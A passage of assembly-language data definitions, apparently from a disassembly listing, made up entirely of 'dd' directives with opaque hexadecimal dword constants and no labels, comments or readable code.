7E2CCF5Eh, 0C4CBF55Ah, 37A7185Ah, 9BF300CEh dd 64562F23h, 5754998Ch, 0E956317h, 0B17A1E85h, 1EB114DDh dd 0DE013DF1h, 7CB04D86h, 9D053C6Ch, 92E1640Dh, 18084286h dd 29113193h, 0AB55B1ADh, 0AFDE492Ah, 0E8C03BFh, 256D9393h dd 0D23BDF91h, 0E3F447D0h, 0A3512481h, 7A832C04h, 75914F7Fh dd 0EC481E0Ch, 5F536847h, 68FDEDE8h, 0A1ED7CB7h, 575B5EC0h dd 0C5CB19C3h, 2DC2D829h, 0BAD664D8h, 3702B62Ch, 3DE9BB85h dd 0EBEAC21h, 0D6DE9831h, 0CEB55800h, 543B67ADh, 7EAA7719h dd 0F3B50E56h, 7D783D8Fh, 8DEADAF3h, 11A71C32h, 28E4DAE5h dd 0C5E0021Ch, 3E07F6CCh, 8F484860h, 944603FDh, 0C4933904h dd 80EBE1A0h, 0B1A4939Dh, 9ECCBA82h, 0A2558C56h, 0FA76ECB9h dd 419C6611h, 0F17EA93Fh, 0EC4BE5F4h, 0CC5367D9h, 0A709F25Bh dd 4FE11D8Eh, 2ED9A14Bh, 0CCF95701h, 0ACDE90A3h, 9BEF5C07h dd 9A5C4459h, 0CDCD93FEh, 0D7B3C93h, 0A919E694h, 8A7E44A5h dd 0CD72E69Ch, 62D5E8FDh, 0CEDC25BDh, 79C8C90Ch, 706BF89Bh dd 0BD03B437h, 0BFCB9250h, 6AED62C3h, 88FD4260h, 687F119Dh dd 0AD717994h, 1F74F8BAh, 7C552A06h, 619B5233h, 592F2BA1h dd 657DAE57h, 0CA8C432h, 19C1F477h, 0BAE92FBBh, 784C92B1h dd 33129E16h, 0F04CD884h, 0F720E7C2h, 7CF2CE48h, 6D4100EFh dd 0A43A43Fh, 3659FEC9h, 5CF8BB21h, 0BEFFD71Ah, 8C482457h dd 545D6A58h, 0CE8BCD8h, 66C514EFh, 48145FA0h, 551F9526h dd 7BE57A41h, 919897CBh, 96ADF05h, 5419F97Ch, 0C064E44Fh dd 0DF627E08h, 1FA95052h, 7586D88Eh, 906A9EB9h, 79579055h dd 0AD665716h, 809B867Ch, 23938696h, 0CE1AE83h, 11EF34F9h dd 3802BCADh, 13BB5764h, 5FABC14Bh, 0A8558762h, 845A3518h dd 0F94C7F1h, 3D0D8EC4h, 0E4966306h, 2E146012h, 1E2BE808h dd 0B7AEE8Bh, 0FDC72C23h, 4C1026B9h, 4A683A44h, 48FC359Ch dd 0C9299CCBh, 673A098Bh, 0BB0B92Bh, 0FB44CEC7h, 0AD68468Eh dd 951718D7h, 57DCA16Dh, 6254A785h, 64B8A5F0h, 0DFF9BEDAh dd 0CC726B47h, 5A51BA21h, 39EBCFAh, 75B9D9Fh, 1415437Eh dd 4ECCD765h, 505C0EC0h, 6EB51FEFh, 6CCB47CAh, 95824642h dd 0ED79C09Fh, 0D1E791Dh, 0A3F10677h, 40CD4E34h, 186CBD46h dd 7BE833CBh, 28458F6Eh dd 602238DBh, 0D0766D93h, 0B930A8CAh, 4BEC408Fh, 11E31D38h dd 33356DD8h, 0D1BAE083h, 1CD8B29Ch, 408F6667h, 8B17CF7Dh dd 0CBD29454h, 5C203996h, 0A1A90A01h, 8E858472h, 69DAE7CFh dd 8425A76Ch, 265D8556h, 978712Fh, 3C657BA5h, 0F48416A4h dd 4CB4629Dh, 2090E050h, 0B787D213h, 0ACC226B2h, 7E8E2B52h dd 0FFEFF4F3h, 7DEFB477h, 264D5CD2h, 60038D98h, 0F050AF9Ah dd 659F9172h, 8F7B3C42h, 0CEE0A4AFh, 3027F0D8h, 0E45AB391h dd 7663DA77h, 0ADC7B79Ch, 0F2E67F97h, 0AE4EB053h, 8AB40D46h dd 8043F409h, 98B6FB27h, 0B57DEAD2h, 0A6615C45h, 0F8F631F4h dd 8C7FC16h, 0EBA6A60Dh, 91E7AA9h, 0B2ADB17Fh, 0D558E6B2h dd 3F5F4936h, 1BE6A5A8h, 8EB3C067h, 92157971h, 0EF22FC13h dd 42F9FF7Bh, 46EAC75Ch, 0A9D50C37h, 2C2DD63Eh, 0D516C940h dd 7068328Ch, 82935726h, 0E120AE19h, 758EEB56h, 0CDFE82Eh dd 7D0CEC93h, 13654006h, 3877C0h, 0E9441952h, 0CEE5A05Ah dd 7EEB27FEh, 0BEBC8D47h, 0BAA26105h, 80175973h, 0B359E537h dd 0F095146Bh, 0AED9E0EFh, 0E9953B44h, 5B550301h, 41BE0786h dd 89E6AC6Ch, 0B251408Fh, 0D1747024h, 38F70CE1h, 0DF21D12Ch dd 0E0470682h, 173A79F3h, 61632C89h, 9EB1AC2Ch, 2CD25553h dd 3A49FB3Dh, 0D4B27F45h, 755A9141h, 6CBADD46h, 4DF0475Fh dd 0CAD5DFD6h, 0E9E46DDFh, 25B860E4h, 383F82C4h, 39A906C9h dd 89CE4538h, 0D80ADE9Ah, 7BA942CDh, 6C9DC343h, 0C81B70DAh dd 0F014F2A9h, 1D2D3DB8h, 0EE47014Ch, 0C88E74Ch, 0E75A475h dd 16D38F61h, 289A65A9h, 4F34162Fh, 33734490h, 38B7FB91h dd 0CCED80C6h, 19036185h, 0DD7CE8FFh, 87A00ED6h, 0BA003355h dd 94A09301h, 1E3B2014h, 6D66808Ch, 977FCA5h, 3A5FF363h dd 0F6588B01h, 198379F2h, 0C658A71Bh, 0B6A5B429h, 3E2C3D1Ch dd 8376B18Bh, 32949D42h, 0FF72D8BFh, 0BD96FFFDh, 0E99E2ED0h dd 0B1742CBDh, 2CA57420h, 6069373Fh, 0AD2C1998h, 0D969B436h dd 0E6BCADFEh, 8332B4D6h, 6EEA0311h, 20B1E01Ch, 0D076CA28h dd 0D402ECE0h, 481E9FE5h, 0A45B7FBCh, 0F70B4FDBh, 0AFA1700Bh dd 9810785h, 0CE5A6D4h, 2DEB8640h, 0B918888Ch, 0E1FB3FB8h dd 0B6A9BD85h, 0F4FCC8CEh, 9F3D430Ch, 3A77BCFDh, 599CD45Dh dd 913B98C4h, 0BD75111Fh, 746B1C52h, 0EFD08DA7h, 6177D0A9h dd 19CF16F0h, 30CB191Eh, 43685B68h, 3950B99Ah, 671B67ADh dd 0EF75B4AFh, 0E9C60557h, 0B03C94A3h, 47CF423Fh, 4003562Eh dd 8DC20303h, 0DA35B3D6h, 0DFC780B6h, 5DC7A4BFh, 61F9B7D8h dd 82822658h, 24A354D9h, 46F30586h, 6A131325h, 0F03D69DEh dd 0BF8E630Dh, 0F93F36C4h, 9FD0F50Bh, 1BC6670Ch, 11863E2h dd 0EB7BDE2Eh, 0E978B6E4h, 76AAAD24h, 8DC15C9Eh, 50EF63BCh dd 0F20357ECh, 6B71B864h, 782E4FEDh, 52F0B0DEh, 917FE7Dh dd 0FBAE5C25h, 7D9A2078h, 78C1CDD1h, 7D0A0122h, 2FEF2BC5h dd 87625D4Ch, 4FCCC2h, 0D300B1A6h, 0CA64A7D9h, 4C66C214h dd 2508F573h, 4C3D0CC8h, 3E0431h, 0E0C2927Bh, 8D47CC7Eh dd 0DF48613Fh, 91C03539h, 74F9F389h, 6F058364h, 0B0C8D7D0h dd 0A45FA032h, 4F20B005h, 9045076Fh, 6C9A7397h, 4F962E0h dd 0F8CAAA20h, 19DC959Bh, 0E39864BCh, 44B158F4h, 0A0DAB667h dd 0AB5A4B94h, 23A45830h, 0F3BB24A4h, 0FE5E2B99h, 3C6EA04Eh dd 0BF3CC4BAh, 61D9C864h, 1E3BB69Dh, 0D3708703h, 570374FBh dd 4AFD6637h, 0C5E47702h, 0D2EC6DFDh, 261F48Fh, 0EF05A22Fh dd 1AE8BE09h, 98842A61h, 0A01768FEh, 0AB1F945h, 34C83402h dd 0B7F3706h, 4556D31Bh, 14109D56h, 32F852EDh, 0F0635169h dd 0B0F5DD5Ch, 1AD1DAE3h, 0A32DE2A3h, 1DC2A4FBh, 2E0B4EEEh dd 74663E68h, 0A9299E15h, 0A1692492h, 0C1271F1Bh, 32F3BD6Bh dd 49E52AE6h, 24E6E739h, 89238196h, 37D208A3h, 0C5D8003h dd 0DC17E38Bh, 1E157EADh, 282B13BBh, 0F432932Fh, 0E9DBD62Ch dd 59D1243Dh, 5AFBDAFEh, 85DBCFE4h, 0C44A0A85h, 0FF4EA906h dd 8BEF6021h, 8C93E9Ah, 78484382h, 1ADF4D68h, 5CD69C0Dh dd 71C04C9Fh, 0C4E24700h, 35A79C77h, 4B59DC76h, 0FCCBD478h dd 865BE45Dh, 0F2273ADDh, 0C1728BD5h, 8C24B16Ch, 0FB7CDDBAh dd 74AA61C9h, 0BC705BDFh, 0A0699296h, 3F042222h, 2A87882Ch dd 0B89C4551h, 5D07FCC9h, 962CB010h, 15D466F3h, 0F3A3D64Dh dd 5A8563B8h, 9038B6ACh, 4F17DCFAh, 0AFC39F41h, 0D225C2F7h dd 40DFE4CBh, 1689A7E9h, 66D169ECh, 1B2B18C2h, 0D3F77D9Bh dd 976B1010h, 2FD71A64h, 5E3112A1h, 52F4AA86h, 0CE3E05D2h dd 0AC8AFA5Fh, 1FD2310Ch, 558FF75Dh, 998C60A0h, 3AB3ABBh dd 0C05A90Fh, 0A5FC3647h, 8E6B751Ch, 823AF14Fh, 0BE779391h dd 0F59D2011h, 43D1B9FFh, 0E1E8839h, 6B144D5Dh, 0B42BF5CCh dd 92BCD190h, 0FF919F86h, 279877Ch, 13F8070Dh, 4FB00544h dd 67CB3666h, 16D2E87Ah, 0D4AB3DECh, 64C5DF58h, 71DA36F1h dd 76E4FE42h, 0C2682FA0h, 24CBF778h, 404E501Ch, 567AF0CAh dd 99E51E6Bh, 0FBD6A448h, 7607B1C1h, 476328EAh, 7EE8239Dh dd 0A5DF44F8h, 0B8E107FDh, 0AA3AF083h, 3F2CB855h, 435926ACh dd 4218B1B9h, 7BB7F747h, 91CCE144h, 6B45E3D1h, 4C0ACB3Ah dd 0F81BE88Bh, 9E73D123h, 4F6344DCh, 0B18F6886h, 420C9846h dd 79D62341h, 6148459Bh, 6B7A0FE5h, 0D3E5948h, 0FEC62AD7h dd 0D41EB288h, 503B13ECh, 8F1D76A6h, 4F1DE35Dh, 0DAAAFE2Ch dd 0C7F00BE9h, 0BDD32DB6h, 906B05BBh, 39BDBEB9h, 0EC853749h dd 0E46EB880h, 1DB1A56Eh, 599FC877h, 73D31C51h, 0E51C832Eh dd 8A1650B7h, 4ACB403Ah, 5D8C3E4Fh, 0F55E0C56h, 74345423h dd 89F1CA4Dh, 8FD9EDB9h, 2A28033Eh, 0A7EAE370h, 1197C2E8h dd 8DDAFFEEh, 0FA7B5816h, 0F85680AAh, 1E468EFAh, 0B7511152h dd 0C12ABAF6h, 301CCF88h, 6AD8F89Ch, 54C1A1A0h, 8581D402h dd 3B599E24h, 0E492EC6Dh, 6BD6A85Ch, 786B7E12h, 6FA7F99h dd 48E784F9h, 0C4407256h, 0A48987Ch, 9146D17Fh, 0FF8D43DEh dd 7B4F18ACh, 9D8F0F0Ah, 0CE52D99Ch, 72C66759h, 0B5BF4886h dd 61017CD2h, 0C27DAECAh, 2FF48AF7h, 4905210Ah, 3E20CCBh dd 59C691B8h, 3EE133A7h, 5BC65C70h, 0D2BEDC2Ah, 19B72107h dd 0D9884FD2h, 6C4F4DFEh, 22059C9Dh, 0AB1BAEC9h, 5E1EF439h dd 0A6545037h, 4B12988Eh, 5154A1CFh, 0A03F39DDh, 1C219401h dd 6F90A2F1h, 4534C7A5h, 96BE56B0h, 31FA658Ch, 89F1DAFAh dd 7A1C2228h, 1F8D18B9h, 7F512C25h, 85995645h, 0E8241288h dd 19DDE09h, 37D73C68h, 4917CBDAh, 29A9006Ch, 301D01E3h dd 0A9328235h, 0A7A4EAAFh, 0ED3E097Dh, 0F8FF122Fh, 0CB43B446h dd 0E37A38E6h, 5DF7D50Dh, 0F3653363h, 0C2B49699h, 326DDE87h dd 0D7A9A33Eh, 23443F3Eh, 0B1596A5Ah, 363F4532h, 0FD09201Dh dd 6F17C00Bh, 2223A1E4h, 3C61DBD4h, 0FA755125h, 239B5CC3h dd 1B705DCBh, 92C3BF5Fh, 0C018F299h, 36D325EDh, 0D5E47063h dd 0E573B9A2h, 72A62106h, 18F95574h, 4032E57Fh, 0B7EE83B3h dd 395524DDh, 7C547A91h, 0C87E23C2h, 667A1144h, 8BB60AB3h dd 99A12E9Dh, 4783929Ch, 5FFA58E5h, 916D8675h, 0E63459D6h dd 56A73191h, 26891057h, 904615D3h, 0DC4D9BBh, 0E4AE8430h dd 888E5E81h, 0C3661CFAh, 7D1DC72Eh, 0AC77B01h, 0D656B09Ch dd 6C5A1128h, 0A2B0DA59h dd 91F2645Bh, 78EDB03Fh, 644F56A0h, 12CEADDBh, 0A4C335h dd 0E607718Fh, 0EC14EF89h, 2C80D252h, 0D4DBFDCAh, 22473CF2h dd 80D66095h, 0F9DFB6Fh, 913071E7h, 89B620B7h, 41B2FFB6h dd 847FA772h, 15DBB5C5h, 0F3F648F3h, 8AFDBEECh, 10DA8350h dd 4338B3BDh, 0B4E3FD3Dh, 8EB668A2h, 1EC515A5h, 0BA2C7798h dd 10AC0EDh, 0D16CB257h, 70604F23h, 5800240Fh, 0CC5D3BA2h dd 7B5F396Bh, 1AA0557Fh, 0E6ACDE79h, 15C65290h, 151D7612h dd 0D896AD55h, 0C1803D86h, 0D2FA2C9Bh, 0AEE5C69Fh, 130DFC8Ah dd 2ABD4641h, 22C74ECDh, 0AB8ACFF3h, 0D76774B3h, 5F561CF6h dd 5EB52B7Ch, 7F0229A7h, 0A7022323h, 0FDB0AAEAh, 0F536C84Fh dd 0A9A34B20h, 94DAD528h, 0FD18A64h, 87F20Ch, 0C256AE54h dd 26C20D3Ch, 2E8DB115h, 111299B2h, 7461E6D4h, 3929E130h dd 216AF0CCh, 0F1879E7Bh, 0D669DA47h, 0EAFE970Eh, 2DBC06E9h dd 0D94AFF6Bh, 0D0E2DB69h, 0DD41D20h, 58407AE7h, 0FFFA1474h dd 3371DFCDh, 54A8292Dh, 6FB12C27h, 0FC14B7Eh, 8DE30415h dd 0BDC894F2h, 0C913CA9Eh, 868BF480h, 0E6B55C8Fh, 0DC467FE9h dd 0DA4CCF81h, 9BCE11FBh, 0D1042404h, 380141CCh, 579E6E51h dd 7E59BB64h, 7C620584h, 64D080D3h, 0DB315463h, 1549FF18h dd 54B30D65h, 90B12FEEh, 1DF6D751h, 48CB5352h, 0C111F7B1h dd 0F40F00ABh, 0DBE0F5BAh, 6DF6D16Dh, 32B2D8E1h, 0DA13E743h dd 80EE694Eh, 7C9732F2h, 32962176h, 0C1F9AE04h, 76683A9h dd 0B8852D0Ah, 1F1C9432h, 78105EBFh, 23873005h, 671BE07Dh dd 0DC7CB9Fh, 0EA5C4F3Eh, 6A1A485Eh, 0CAFC269Ch, 96EE2A46h dd 4D3CB77Ch, 0C1E09BBh, 89215587h, 69C647D5h, 851F7E22h dd 7A6C8D11h, 0D8E6EAF7h, 0BC230A4Dh, 0D1C04BCDh, 8799CA12h dd 49DE27D0h, 0F62E3450h, 0D662E9D5h, 0D2098606h, 6C43F4BBh dd 651A813Fh, 1111344Eh, 0AB61AE1Ch, 5DCEDF2Ah, 0C264F476h dd 35BF2C8Bh, 3CF3274Dh, 0A9016274h, 586912B2h, 2EA28143h dd 2B4DAA9Fh, 40D6BC52h, 98EE814h, 74B87D46h, 8A4FFAD4h dd 78BDE426h, 2251BA9Fh, 0F152965Bh, 5192F622h, 80815FA8h dd 275FBFEFh, 0A03DA6B2h, 1FA23140h, 0B5E9BAACh, 71CA49FDh dd 0F058D79Ch, 0FAF976ECh, 6E58344Dh, 0C438CA89h, 13BD8232h dd 0DBDD7E76h, 1161132Fh, 752DA51Bh, 0A46DEF04h, 395D47FCh dd 4EAEBD5Ah, 0A10A9ADFh, 0B4D92CE6h, 2A6D9DB2h, 43008341h dd 0C024D61Eh, 1B8D0337h, 0B6E144BAh, 211F7EADh, 0D80710D8h dd 10BC9930h, 91C8697Dh, 9753688Dh, 0AE57417Fh, 0F731B5A6h dd 0F1A548EEh, 0DD0E38BFh, 19339766h, 0BA5F004Eh, 0DED00089h dd 886C5778h, 20794C04h, 67DEC40Ch, 0DAF526EAh, 0ACFBE424h dd 31BBC98h, 6C098646h, 6D9D761h, 38969E65h, 3DAA7552h dd 9C8F4077h, 2839914Bh, 1CCBE236h, 76C59198h, 0C5763094h dd 0BEF083DEh, 9527AB91h, 0B9D53A0h, 0CBD056FEh, 6B4721C4h dd 553160F8h, 3E25DDABh, 0E704BFDCh, 38BEEE05h, 0C2F56237h dd 655B6938h, 0C7FCDCE7h, 0BCD9A589h, 0E6442239h, 74D27A52h dd 5206BC11h, 89837476h, 718D0442h, 0AEB633A1h, 0C98275Ch dd 6864B266h, 835C7535h, 0F2778C8Bh, 997CC43Ch, 70206979h dd 5E3518F4h, 5ECA4BC8h, 3A6A8F7Ah, 0CCB38868h, 299D2E95h dd 6159AA78h, 0FD57A794h, 68E8F1A8h, 7F74CD91h, 0EF559EC6h dd 76D9E0FBh, 0DFC6BE7Bh, 2B4AFAC1h, 8934788h, 4E578194h dd 0B86011A7h, 1BE65D18h, 0EA87A8A1h, 655F6128h, 6C3B6575h dd 84A3877Fh, 93A78B20h, 62C1FB34h, 0EFE603FBh, 3A031B34h dd 0EF8B335Ah, 0ACAEB0E7h, 540107DEh, 0A3426946h, 5748C135h dd 0E307654Eh, 96362B13h, 0F08B8C26h, 0E4E33B00h, 200EEBB8h dd 0C6A96D27h, 39D962C1h, 32418C29h, 0C32F7CC3h, 0D6F534Ch dd 0D2B2309Eh, 85FFC6A9h, 0A6D33FB3h, 0E04FD88h, 4FE937F8h dd 43013D2Fh, 14962164h, 109B8594h, 7CCAB97Eh, 0BACD44BCh dd 0FB69F0EAh, 1E8D8BF0h, 0D2B85734h, 0ED6BC4C9h, 0D796A558h dd 1753B943h, 4E28B7F8h, 2AC775A7h, 0CDFAE877h, 883F387Ah dd 618838B6h, 0B9925DB5h, 28670F08h, 47C1FED6h, 0C87B03D8h dd 836F3D64h, 0CF514B1Dh, 96C4BFA5h, 0D5B29AA3h, 4A1745D8h dd 81341285h, 0D77ADE65h, 26E0A05Ah, 43C659E3h, 0C9823A1h dd 0AD688B7Fh, 73721002h, 110C4C0h, 0A68CFD86h, 212C4A1Ch dd 0E3F52E14h, 93370ED9h, 1CB7D189h, 0E796D51h, 597E5204h dd 8EFF4640h, 582566AAh, 0C8770C95h, 0BE2AE2E4h, 0D00D102Eh dd 7049A2B3h, 0D661E235h, 5EE3D9FCh, 159FA568h, 0DFDE50FBh dd 0EFD1A1B4h, 0D9F3EE32h, 5F82785Fh, 0C8D38111h, 0B4D45729h dd 9E29D089h, 0DFCC5ECFh, 0A5E65336h, 6C994F96h, 4F8F5CCFh dd 0FA7A8D66h, 6FAF7DC3h, 25A35DB8h, 0DD453391h, 0FAAC5BEAh dd 565653A8h, 905AA978h, 62AF7B04h, 14C3ED8Bh, 39EA1D4Bh dd 778B0528h, 0AF280067h, 809A3F36h, 200A0FCBh, 7AA81627h dd 1EFE3910h, 8539CBB3h, 4C3258FFh, 0DC11E320h, 5B7F58AAh dd 8BC51B03h, 9993CABAh, 0E818A045h, 4C867B99h, 21CFE1FBh dd 0CB55A480h, 357E815h, 1CDEB648h, 6C134D8Ch, 200DCE21h dd 4DB0FBD9h, 0AA23F130h, 0F0DEEBE6h, 43410B30h, 0DA8CF11h dd 9AD90BCEh, 0F7F79C7Dh, 7B0CC1F7h, 78DD450Dh, 8DF870CFh dd 9CC3CC20h, 0C5A9DE95h, 34C9230Ch, 0AF3B211Ch, 0E72AF578h dd 6D6E61C4h, 84C1C443h, 3EE8FC65h, 0FF93956Eh, 2DD9AC4Bh dd 0AD44F0Ah, 0BF564DB1h, 2ABA92E9h, 0DC6BA2BAh, 72E662D0h dd 142205C1h, 3A6230E6h, 851D97Eh, 2791CF3Ah, 97EA2C63h dd 0CA324DD5h, 5791D34Eh, 8931BA3Ch, 73A43725h, 9221DE68h dd 112825C1h, 0BF9DD98Dh, 0B411CF11h, 0C6B56C4Dh, 247BF984h dd 79DD94E0h, 4FCA8B18h, 8134ED1h, 79A61A30h, 0DD29331Ch dd 0A84DBA20h, 14A8315Fh, 0A4CBDD5Dh, 3D1F68E2h, 63853806h dd 2984991Dh, 2C2B9632h, 1CE5CB38h, 4CBC6EA1h, 1F91A98Ch dd 0F21CFA1Dh, 6638AAB0h, 28386A47h, 60B297DDh, 7408694Bh dd 0EE70A270h, 8659C95Ah, 0DEFEA0D9h, 813F446Ch, 2923F74Ch dd 35805934h, 0F15F6F67h, 307FCBA9h, 0CF213E1Eh, 7CB6CB59h dd 9F4EC122h, 0EAD2EA92h, 1B76039Ah, 6B9D84D5h, 0A5B08993h dd 3DB56317h, 2AD17829h, 0E7969EDDh, 6D7A55A2h, 0D61059DAh dd 0B04A6FF0h, 0BB786D73h, 0C298E33Bh, 3E8253C7h, 0A7B163DAh dd 86DDB738h, 36FD8DCCh, 930F9DE8h, 4142B007h, 8F51FBA9h dd 8C9A5747h, 87339E5h, 185B4B24h, 0E48A23B6h, 19F5DFB4h dd 9F794ECh, 0AE5107CDh, 98841510h, 0C01160B1h, 1249B817h dd 0D3A88756h, 9D2A21EBh, 5A3A7BC8h, 0C0AF0616h, 9230EF51h dd 884C3B69h, 70001070h, 6A42CD4Eh, 46496831h, 39866A35h dd 3B1193FEh, 84A32D8Bh, 7BA106C1h, 8E5828B1h, 229CED86h dd 0B8912A6Ah, 0AFF9C7F0h, 12A993Ch, 3C8A2F51h, 0E97E9180h dd 0FE7348Ch, 75B42C3Bh, 0DDD0FAA2h, 0DB0AB61Fh, 0BD73E7F2h dd 2950B57Dh, 93C2F759h, 591D0A3Ah, 0F8B6E9D6h, 0D865DCF9h dd 5B51B209h, 0EA188651h, 0AAACC56Bh, 9534D85Eh, 5AC63C8Ch dd 4DD8EEA8h, 0A7BCA0B4h, 800EC3D1h, 0DE5233A2h, 9819727Ah dd 6C3EEC78h, 7AF04718h, 43F80944h, 0D7BD76E7h, 0C1FA48D8h dd 6298F081h, 5F03F2FDh, 53F72F4Ch, 252CA8C2h, 476D38B1h dd 0A9FC871Bh, 7E4D5BA9h dd 0D931D16Bh, 0BB2C9545h, 0E5E561D4h, 0F4A7D6D8h, 3D209DCBh dd 40A712A7h, 0ACE1F44Dh, 30AC401Eh, 0F736F54Ah, 34522D82h dd 0A773BF09h, 0D916ACF3h, 28F9D1C0h, 95135CFBh, 0CC961C2h dd 8D1929F6h, 9F988B0Dh, 677752F3h, 276518CAh, 66DED897h dd 28156676h, 0E4758014h, 93BBFD0Fh, 23F490D3h, 0EDDA629Bh dd 0D8AFD6C1h, 2C26C601h, 1AF918E5h, 0B07C1DEEh, 32885BFh dd 1C6A9C9Bh, 4EDECD27h, 12966EEDh, 4C090186h, 60D62DD0h dd 999452AAh, 9A779163h, 0C65F5139h, 0FDA2D2D5h, 0CFC2B3DAh dd 0AB1F4402h, 3F5583CCh, 0B778F42Ch, 0E6DB76DAh, 0DF78214h dd 6217D3BFh, 18613E92h, 370B6BF0h, 1B526B86h, 0AAB55338h dd 0B206934Ch, 0A544942Fh, 8E5A4BC2h, 2D63363Fh, 8DCC37B4h dd 0EACD3A38h, 4FD13934h, 0E5A44B72h, 829663EEh, 8FEDC8AEh dd 6F31E60h, 0AA337CCBh, 0F4EDE64Ch, 0A08C621Eh, 0C30CE87Eh dd 97A4B8BFh, 88EA0340h, 9EE6A0DFh, 0CADDE6DAh, 2A2E5B53h dd 0E7A67BE7h, 4D2097E1h, 2B6E7041h, 5E2CF1F3h, 87154970h dd 6A5CC671h, 0A7584AE1h, 0A48BC197h, 85FCD4A5h, 36B8C10Fh dd 989F0F7h, 42FA0A51h, 0C3CCC331h, 0FA9C06DEh, 95A12B41h dd 0F9673A62h, 7641A7DBh, 0BAD5BC68h, 5C2B126Ah, 0F25B5292h dd 69446966h, 3654DCA2h, 0D4A816C6h, 0E69D12DEh, 30941E92h dd 3AC46FF6h, 890F6386h, 517933E9h, 8FE4F36Dh, 0E148CEBEh dd 7484C03Bh, 68A7F354h, 0D435E47Dh, 0DC40AD8Fh, 9BEBC9AFh dd 6F921C96h, 0EB5A1678h, 0A2759166h, 414E808Bh, 34861DD1h dd 3D3CAE13h, 3C17297Dh, 600599ABh, 0A573BB9Dh, 0CBF2037Eh dd 0A35660F3h, 0E1B2FFA7h, 4F4FE8A1h, 62BDAE08h, 7339E2E0h dd 0CD7376FDh, 0BEF17E7Ah, 326EA3E9h, 91853AD6h, 5E823F83h dd 418D332h, 86E0E875h, 7796F37Eh, 0C7199AACh, 7393DBD9h dd 750BF35Fh, 0EE7B6BCFh, 9F4E7A14h, 0C83F70FAh, 29CEA7EFh dd 38B3555Ch, 1BB157C6h, 0AE5B47CEh, 0E693B9E9h, 212E7182h dd 222B0038h, 67F05832h, 78392290h, 3100D1D1h, 208EA212h dd 0CF5474ECh, 0FD89521Dh, 955EA99Ah, 8EB4C98Ah, 480B8FCCh dd 18C18126h, 4B581895h, 0DE2DAB8Eh, 0DB1D605h, 0E08BD114h dd 960B2FAFh, 0AA1852AFh, 0B089EA9Dh, 34F6D957h, 258B6Ch dd 0FABB2A0Ah, 0F1184CCFh, 521E875Dh, 8054C415h, 0CD5B6A8Bh dd 0C7AEB31h, 84401C41h, 8248554Ah, 5C80139Ah, 2F2B1D77h dd 0FECFCED8h, 8B5603B4h, 3A064B6Bh, 4B9A6F33h, 84E4E1D7h dd 398A9878h, 9079F86Fh, 5ADC3676h, 0EEA786DEh, 16555BACh dd 5FA5F493h, 0B10F6A3Ch, 303256DDh, 0C71D5DE6h, 0BEB2CE10h dd 23BA588Dh, 90B8C552h, 0F5550938h, 0AABF0FD7h, 159349h dd 0EB1841D1h, 0E72207B2h, 3FC1A3C7h, 0C6D8F4FEh, 7FDB2C16h dd 8264D9F1h, 0CF533E44h, 4D74846Bh, 0E6D7A267h, 8B03B27Bh dd 0CF5419BFh, 0A421E754h, 1EF4EFF3h, 9AFC0D66h, 38BD62F9h dd 9786EB80h, 0A6EEDFF0h, 0B6998C3Ch, 442EC4F0h, 0BBC098ADh dd 67CDBFD5h, 0E6E17142h, 0C0CE540h, 4027A150h, 9E3829C4h dd 24FE774Eh, 7DA44984h, 88E1F22Fh, 0B36056BDh, 3818D50Ch dd 0CEC99238h, 0BEA46AB9h, 6A46771Fh, 7F62F16Fh, 99047FFFh dd 0FF2AC851h, 0D5CBB9E9h, 0BD33FCBFh, 8954D9DFh, 0FBB886ACh dd 9518488Ah, 8A997328h, 970E094Eh, 0DD67F965h, 95245AB5h dd 658414A2h, 6E7155BCh, 0A30B5294h, 622174ACh, 3FE0DF0Eh dd 0BB52044Bh, 0DDB12804h, 5C143D70h, 0FE3534EAh, 0A0ADED93h dd 55600409h, 0CA7E89F6h, 4A85F1CBh, 0FD526CCEh, 0BEB001ACh dd 715D1CA9h, 0A84AEC6h, 55560826h, 0EB676006h, 85BD9232h dd 33EA57CBh, 0A73B7A59h, 1ABE0C6Fh, 0EC1BF3F8h, 7ED52903h dd 99DC88D8h, 6FA7F8D5h, 0C36C4F0Fh, 3913E867h, 1719263Dh dd 0C23AD50Bh, 2B51825Bh, 0F2429AEDh, 1D67B123h, 9FCB05E6h dd 0FF9CEFCBh, 420424F7h, 5E54C4C1h, 0B4479DA9h, 0DDA00363h dd 1CF29D8Ah, 92F62419h, 0AE601DCBh, 79A95E98h, 0C99EB124h dd 11BAFAD7h, 9D580D6Eh, 0BB98349h, 3A67E5CBh, 108E04C2h dd 0B3D337D4h, 0A013FE56h, 682BFF91h, 0F56A4114h, 83A5F6F1h dd 0C1715B5Bh, 20C74FCEh, 0A7DB8F74h, 31FE74B9h, 0D9442C10h dd 56800C35h, 69780D17h, 8D68B930h, 96F37A99h, 6BA39976h dd 25B9433Bh, 6DB56D28h, 0A6BB214Eh, 6D67B39Bh, 5AE956E5h dd 0AE9C740Fh, 0F727FCB5h, 0D685FBFDh, 0B4374BB3h, 0DCC614D4h dd 0A43537B9h, 0DF98FA61h, 0E5F40205h, 8567CDBCh, 119C3109h dd 36C88726h, 1C8D2DE0h, 4CB7AE74h, 47C753A9h, 0AF725EC4h dd 67DAC9FAh, 62A6C9F0h, 551B599Ah, 0CD96C18Dh, 0A5D62A2Ah dd 121AA995h, 7ADF3764h, 7E460887h, 0A4501F0Ah, 6C35812Ch dd 0C34FEF64h, 0FD967AA0h, 0A11C5341h, 232CF1D4h, 9ABD3F17h dd 2778F659h, 0EC254AA8h, 0EB5AE3E1h, 546DB1D6h, 0F3050C5Fh dd 93202C90h, 0EFCF9FE1h, 0EB3FC9A5h, 43D0DBE5h, 9E01E267h dd 736D14FBh, 8BE1B905h, 0AA1B1BBBh, 5CD80AE0h, 0CFB1409h dd 0E95FAE5Ch, 1BF5A610h, 76FFFAD1h, 0BDE725E8h, 0EC48F623h dd 0A51D3B14h, 0D68413C3h, 0C3BC6FE5h, 0EEFF9C1Eh, 0BF5B7133h dd 0BD057AC6h, 0C75B896h, 61F810FBh, 29F33775h, 0BD6F2779h dd 0C1760FD1h, 8D3BFFFBh, 44DED3E4h, 0FA4B5107h, 4590EDC0h dd 97BD964h, 48559D25h, 0E082C1F2h, 434856F1h, 76611EF7h dd 33D0B33h, 14F8888Eh, 99036013h, 0ACFC302Ah, 8E4BE067h dd 6A4B2B4Eh, 4D8B88E1h, 70FC8BB4h, 3A3829BBh, 0CCC4B91Ah dd 3D998B9Fh, 8D3D01B4h, 33EA76A9h, 0A3FD38DBh, 0F63BB2C9h dd 559D22F8h, 0FE7C0182h, 0A19ECE0Bh, 5F944F74h, 3BDCE8F1h dd 0DF1B31DBh, 608BF48Ah, 1D451AADh, 0FCD7942Fh, 0F2E52A78h dd 